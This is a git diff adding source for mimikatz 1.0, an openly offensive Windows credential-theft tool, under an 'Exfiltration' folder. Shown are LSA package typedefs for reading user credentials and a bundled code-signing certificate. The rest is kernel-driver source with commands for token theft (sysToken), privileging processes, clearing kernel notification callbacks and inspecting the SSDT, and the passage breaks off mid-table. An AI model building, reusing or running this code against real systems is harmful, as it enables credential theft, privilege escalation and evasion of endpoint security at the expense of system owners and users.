Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); +typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); +typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); +typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); +typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); +typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); +typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); +typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); +typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); +typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); +typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); +typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); +typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); +typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); +typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); +typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); +typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); + + + +#ifndef _ENCRYPTED_CREDENTIAL_DEFINED +#define _ENCRYPTED_CREDENTIAL_DEFINED + +typedef struct _ENCRYPTED_CREDENTIALW { + CREDENTIALW Cred; + ULONG ClearCredentialBlobSize; +} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; +#endif // _ENCRYPTED_CREDENTIAL_DEFINED + +#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned +#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte +#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo +#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear +#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory +#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). + +typedef enum _CredParsedUserNameType +{ + parsedUsernameInvalid = 0, + parsedUsernameUpn, + parsedUsernameNt4Style, + parsedUsernameCertificate, + parsedUsernameNonQualified +} CredParsedUserNameType; + + +typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); +typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); + +typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); +typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); +typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); + +typedef struct _LSA_SECPKG_FUNCTION_TABLE { + PLSA_CREATE_LOGON_SESSION CreateLogonSession; + PLSA_DELETE_LOGON_SESSION DeleteLogonSession; + PLSA_ADD_CREDENTIAL AddCredential; + PLSA_GET_CREDENTIALS GetCredentials; + PLSA_DELETE_CREDENTIAL DeleteCredential; + PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; + PLSA_FREE_LSA_HEAP FreeLsaHeap; + PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; + PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; + PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; + PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; + PLSA_IMPERSONATE_CLIENT ImpersonateClient; + PLSA_UNLOAD_PACKAGE UnloadPackage; + PLSA_DUPLICATE_HANDLE DuplicateHandle; + PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; + PLSA_CREATE_THREAD CreateThread; + PLSA_GET_CLIENT_INFO GetClientInfo; + PLSA_REGISTER_NOTIFICATION RegisterNotification; + PLSA_CANCEL_NOTIFICATION CancelNotification; + PLSA_MAP_BUFFER MapBuffer; + PLSA_CREATE_TOKEN CreateToken; + PLSA_AUDIT_LOGON AuditLogon; + PLSA_CALL_PACKAGE CallPackage; + PLSA_FREE_LSA_HEAP FreeReturnBuffer; + PLSA_GET_CALL_INFO GetCallInfo; + PLSA_CALL_PACKAGEEX CallPackageEx; + PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; + PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; + PLSA_FREE_SHARED_MEMORY FreeSharedMemory; + PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; + PLSA_OPEN_SAM_USER OpenSamUser; + PLSA_GET_USER_CREDENTIALS GetUserCredentials; + PLSA_GET_USER_AUTH_DATA GetUserAuthData; + PLSA_CLOSE_SAM_USER CloseSamUser; + PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; + PLSA_CLIENT_CALLBACK ClientCallback; + PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; + PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; + PLSA_CRACK_SINGLE_NAME CrackSingleName; + PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; + PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; + CredReadFn *CrediRead; + CredReadDomainCredentialsFn *CrediReadDomainCredentials; + CredFreeCredentialsFn *CrediFreeCredentials; + PLSA_PROTECT_MEMORY LsaProtectMemory; + PLSA_PROTECT_MEMORY LsaUnprotectMemory; + PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; + PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; + PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; + PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; + PLSA_CREATE_TOKEN_EX CreateTokenEx; + CredWriteFn *CrediWrite; + CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; +} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE new file mode 100644 index 0000000..5acbbd2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MAKEFILE @@ -0,0 +1 @@ +!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer new file mode 100644 index 0000000..cdd3755 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 +MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 +LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg +Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx +i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH +oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 +bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt +bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw +R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ +k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH +BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV +HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 +BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY +MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 +Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv +ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ +vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa +deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L +JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x +GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz +1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q +zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 +Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y +QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ +qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX +Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN +Gi1nyfSAFIS3hQzRZiilxm8kYQ== +-----END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES new file mode 100644 index 0000000..f544791 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/SOURCES @@ -0,0 +1,9 @@ +TARGETNAME=mimikatz +TARGETPATH=OBJ +TARGETTYPE=DRIVER +SOURCES=mimikatz.c \ + mod_memory.c \ + processes.c minifilters.c fsfilters.c modules.c ssdt.c \ + notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c + +TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c new file mode 100644 index 0000000..fc80756 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.c @@ -0,0 +1,35 @@ +#include "fsfilters.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG ActualNumberDriverObjects = 0; + PDRIVER_OBJECT * DriverObjectList = NULL; + + ULONG i; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); + if(NT_SUCCESS(status)) + { + if(ActualNumberDriverObjects > 0) + { + DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); + if(DriverObjectList != NULL) + { + IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); + for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + ObDereferenceObject(DriverObjectList[i]); + } + ExFreePoolWithTag(DriverObjectList, POOL_TAG); + } + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h new file mode 100644 index 0000000..9e82e9c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.h @@ -0,0 +1,5 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h new file mode 100644 index 0000000..f82465f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/k_types.h @@ -0,0 +1,49 @@ +#pragma once +#include <ntddk.h> +#include <ntstrsafe.h> + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#ifndef KIWI_NameToFunc +#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} +#endif + +#ifndef KIWI_mask3bits +#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) +#endif + +#define POOL_TAG 'iwik' + +#define INDEX_UNK 0 +#define INDEX_XP 1 +#define INDEX_2K3 2 +#define INDEX_VISTA 3 +#define INDEX_2K8 4 +#define INDEX_7 5 +#define INDEX_2K8R2 6 +#define INDEX_8 7 +#define MAX_OS_LEN 8 + +#ifdef _M_IX86 +#define EX_FAST_REF_MASK 0x07 +#else +#define EX_FAST_REF_MASK 0x0f +#endif + +typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +ULONG INDEX_OS; + +PDRIVER_OBJECT moi; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { +#ifdef _M_IX86 + PVOID *ServiceTable; +#else + LONG *OffsetToService; +#endif + PULONG CounterTable; + ULONG TableSize; + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c new file mode 100644 index 0000000..d109eac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.c @@ -0,0 +1,193 @@ +#include "mimikatz.h" + +ptrLocalFunction maFunc = NULL; + +NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + return STATUS_NOT_SUPPORTED; +} + +NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_PARAMETER; + PIO_STACK_LOCATION pIoStackIrp = NULL; + PWSTR params; + size_t tailleParams; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_HANDLE; + PIO_STACK_LOCATION pIoStackIrp = NULL; + + LPWSTR pszDestEnd; + size_t pcbRemaining; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + if(maFunc) + { + status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; + } + } + else + { + status = STATUS_PROCEDURE_NOT_FOUND; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +void DriverUnload(IN PDRIVER_OBJECT theDriverObject) +{ + UNICODE_STRING UStrDosDeviceName; + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoDeleteSymbolicLink(&UStrDosDeviceName); + IoDeleteDevice(theDriverObject->DeviceObject); +} + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) +{ + NTSTATUS status; + UNICODE_STRING UStrDriverName, UStrDosDeviceName; + PDEVICE_OBJECT pDeviceObject = NULL; + ULONG i; + + moi = theDriverObject; + RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); + status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if(NT_SUCCESS(status)) + { + INDEX_OS = getWindowsIndex(); + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + theDriverObject->MajorFunction[i] = UnSupported; + + theDriverObject->MajorFunction[IRP_MJ_READ] = Read; + theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; + + theDriverObject->DriverUnload = DriverUnload; + + pDeviceObject->Flags |= DO_BUFFERED_IO; + pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); + } + + return status; +} + + +ULONG getWindowsIndex() +{ + switch(*NtBuildNumber) + { + case 2600: + return INDEX_XP; + break; + case 3790: + return INDEX_2K3; + break; + case 6000: + case 6001: + return INDEX_VISTA; + case 6002: + return INDEX_2K8; + break; + case 7600: + case 7601: + return INDEX_7; + break; + case 8102: + case 8250: + case 9200: + return INDEX_8; + break; + default: + return 0; + } +} + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) +{ + NTSTATUS status; + size_t tailleChaine; + ULONG i; + ULONG taillFunc; + + status = RtlStringCbLengthW(buffer, taille, &tailleChaine); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); + + if( (i+1) < (tailleChaine / sizeof(WCHAR))) + { + *params = buffer + (i+1); + *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! + DbgPrint("%u", *tailleParams); + } + else + { + *params = NULL; + *tailleParams = 0; + } + + *destFunc = NULL; + taillFunc = i*sizeof(WCHAR); + + + KIWI_NameToFunc(L"ping", kPing); + + if(INDEX_OS) + { + KIWI_NameToFunc(L"ssdt", kSSDT); + + KIWI_NameToFunc(L"listModules", kModulesList); + KIWI_NameToFunc(L"listFilters", kFiltersList); + KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); + + KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); + KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); + KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); + KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); + KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); + KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); + + KIWI_NameToFunc(L"listProcesses", listProcesses); + KIWI_NameToFunc(L"sysToken", sysToken); + KIWI_NameToFunc(L"privProcesses", privProcesses); + } + } + return status; +} + + +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); +} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h new file mode 100644 index 0000000..3ece6e2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.h @@ -0,0 +1,26 @@ +#pragma once + +#include "minifilters.h" +#include "fsfilters.h" +#include "modules.h" +#include "processes.h" +#include "ssdt.h" + +#include "notify.h" + +#include "k_types.h" + +#include <ntddk.h> + +extern PSHORT NtBuildNumber; +ULONG getWindowsIndex(); + +DRIVER_INITIALIZE DriverEntry; +DRIVER_UNLOAD DriverUnload; + +DRIVER_DISPATCH UnSupported; +__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; +__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c new file mode 100644 index 0000000..90ba7ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.c @@ -0,0 +1,193 @@ +#include "minifilters.h" + +const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = +{ + /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ +/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ +/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, +/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_8 */ {0x0090, 